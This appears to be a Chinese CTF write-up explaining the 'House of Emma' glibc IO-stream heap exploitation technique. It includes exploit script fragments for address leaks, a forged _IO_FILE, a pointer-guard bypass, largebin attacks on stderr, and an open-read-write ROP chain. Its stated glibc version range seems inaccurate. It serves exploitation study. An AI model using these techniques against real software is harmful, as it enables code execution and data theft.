house of emma 心得体会
字数 1315 2025-08-25 22:58:47

House of Emma 利用技术详解

概述

House of Emma 是一种针对 glibc 2.23 及更高版本的 IO 流利用技术,通过劫持 stderr 指针和修改 __pointer_chk_guard 来实现任意代码执行。

利用条件

  1. 内存写入能力

    • 可以进行两次任意地址写堆地址(通常通过 largebin attack)
    • 可以触发 IO 流操作
  2. 目标指针

    • 需要能够修改 stderr 指针(如果 stderr 位于 bss 段且不可写,则只能通过 exit 触发 FSOP)
    • 需要能够攻击 TLS 结构体中的 _pointer_chk_guard

技术原理

核心机制

  1. IO_cookie_jumps 虚表

    • _IO_cookie_jumps 结构体包含 _IO_cookie_read_IO_cookie_write 等函数
    • 这些函数会调用函数指针,但调用前会使用 pointer_guard 进行加密
  2. 加密函数指针调用

    static ssize_t _IO_cookie_read(FILE *fp, void *buf, ssize_t size) {
        struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
        cookie_read_function_t *read_cb = cfile->__io_functions.read;
        #ifdef PTR_DEMANGLE
        PTR_DEMANGLE(read_cb);
        #endif
        return read_cb(cfile->__cookie, buf, size);
    }
    
  3. 绕过保护

    • 劫持 stderr 指针指向伪造的 fake_IO_FILE
    • __pointer_chk_guard 处写入已知内容,绕过函数指针调用的保护

利用步骤

1. 信息泄露

泄露 libc 基址和堆地址:

add(0, 0x428, b'aaa')
add(1, 0x428, b'./flag\x00')
delete(0)
add(15, 0x448, b'./flag\x00')
add(14, 0x448, b'./flag\x00')
show(0)
libc_base = l64() - 0x21a0d0
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8, b"\x00")) - 0x290

2. 构造 fake_IO_FILE 和 ORW 链

gadget = libc_base + 0x00000000001675b0  # mov rdx, qword ptr [rdi + 8]

fake_file = b'0'*0x78
fake_file += p64(libc_base + 0x21ba60)  # _IO_stdfile_2_lock
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr + 0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data = ((gadget ^ (heap_base + 0x1960)) >> (64 - 0x11)) | ((gadget ^ (heap_base + 0x1960)) << 0x11)
fake_file += p64(enc_data)

ORW 链构造:

orw = p64(0) + p64(heap_base + 0x10d0 + 0x460)
orw += b'\x00'*0x10
orw += p64(setcontext + 61)
orw += b'\x00'*0x78
orw += p64(chunk13 + 0xb0) + p64(ret)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)  # close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)  # open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)  # read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)  # write(1,flag_path,0x41)

3. LargeBin Attack 攻击 stderr 和 pointer_guard

攻击 stderr:

add(2, 0x428, b'bbb')
add(3, 0x418, fake_file)
delete(2)
add(13, 0x438, orw)
add(12, 0x438, b'mmm')
delete(3)
pl = p64(libc_base + 0x21a0e0)*2 + p64(heap_base) + p64(stderr - 0x20)
edit(2, pl)
add(11, 0x458, b'lll')  # 触发 stderr 覆盖

攻击 pointer_guard:

delete(15)
add(10, 0x450, b'rrr')
delete(12)
pl = p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x860) + p64(pointer_guard - 0x20)
edit(15, pl)
add(9, 0x450, b'hhh')  # 触发 pointer_guard 覆盖

4. 修改 top chunk 大小触发 IO 流

add(8, 0x450, b'ggg')  # d50
delete(9)
delete(10)
delete(8)
add(7, 0x460, b'a'*0x458 + p64(0x471))
add(6, 0x460, b'a'*0x458 + p64(0x451))
delete(6)
delete(9)
add(4, 0x460, p64(0) + p64(0x100))

5. 触发 IO 调用链

sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(1))
sla('plz input your cat idx:\n', str(5))
sla('plz input your cat size:\n', str(0x460))

关键点说明

  1. close(0) 的必要性

    • 沙箱限制 read 只能从 fd 0 读取
    • 关闭标准输入后,open 返回的文件描述符会是 0
  2. 加密函数指针绕过

    • 需要精确计算 enc_data 来绕过 PTR_DEMANGLE 保护
    • 公式:((gadget ^ (heap_base + offset)) >> (64 - 0x11)) | ((gadget ^ (heap_base + offset)) << 0x11)
  3. setcontext 使用

    • 使用 setcontext+61 来设置寄存器状态
    • 需要合适的 gadget 将 rdi 转移到 rdx

限制与注意事项

  1. stderr 不可写

    • 如果 stderr 位于不可写的 bss 段,只能通过 exit 触发 FSOP
    • 构造不当可能导致 exit 无法正常执行
  2. TLS 偏移

    • 远程可能需要爆破 TLS 偏移
    • __pointer_chk_guard 的位置可能因环境而异
  3. 沙箱绕过

    • 需要构造完整的 ORW 链来绕过沙箱限制
    • 确保文件操作的正确顺序和参数

完整利用链

  1. 泄露地址 → 2. 构造 fake_IO_FILE 和 ORW → 3. largebin attack 修改 stderr 和 pointer_guard → 4. 修改 top chunk → 5. 触发 IO 流 → 6. 执行 ORW 获取 flag
House of Emma 利用技术详解 概述 House of Emma 是一种针对 glibc 2.23 及更高版本的 IO 流利用技术,通过劫持 stderr 指针和修改 __pointer_chk_guard 来实现任意代码执行。 利用条件 内存写入能力 : 可以进行两次任意地址写堆地址(通常通过 largebin attack) 可以触发 IO 流操作 目标指针 : 需要能够修改 stderr 指针(如果 stderr 位于 bss 段且不可写,则只能通过 exit 触发 FSOP) 需要能够攻击 TLS 结构体中的 _pointer_chk_guard 技术原理 核心机制 IO_ cookie_ jumps 虚表 : _IO_cookie_jumps 结构体包含 _IO_cookie_read 、 _IO_cookie_write 等函数 这些函数会调用函数指针,但调用前会使用 pointer_guard 进行加密 加密函数指针调用 : 绕过保护 : 劫持 stderr 指针指向伪造的 fake_IO_FILE 在 __pointer_chk_guard 处写入已知内容,绕过函数指针调用的保护 利用步骤 1. 信息泄露 泄露 libc 基址和堆地址: 2. 构造 fake_ IO_ FILE 和 ORW 链 ORW 链构造: 3. LargeBin Attack 攻击 stderr 和 pointer_ guard 攻击 stderr: 攻击 pointer_ guard: 4. 修改 top chunk 大小触发 IO 流 5. 触发 IO 调用链 关键点说明 close(0) 的必要性 : 沙箱限制 read 只能从 fd 0 读取 关闭标准输入后,open 返回的文件描述符会是 0 加密函数指针绕过 : 需要精确计算 enc_data 来绕过 PTR_DEMANGLE 保护 公式: ((gadget ^ (heap_base + offset)) >> (64 - 0x11)) | ((gadget ^ (heap_base + offset)) << 0x11) setcontext 使用 : 使用 setcontext+61 来设置寄存器状态 需要合适的 gadget 将 rdi 转移到 rdx 限制与注意事项 stderr 不可写 : 如果 stderr 位于不可写的 bss 段,只能通过 exit 触发 FSOP 构造不当可能导致 exit 无法正常执行 TLS 偏移 : 远程可能需要爆破 TLS 偏移 __pointer_chk_guard 的位置可能因环境而异 沙箱绕过 : 需要构造完整的 ORW 链来绕过沙箱限制 确保文件操作的正确顺序和参数 完整利用链 泄露地址 → 2. 构造 fake_ IO_ FILE 和 ORW → 3. largebin attack 修改 stderr 和 pointer_ guard → 4. 修改 top chunk → 5. 触发 IO 流 → 6. 执行 ORW 获取 flag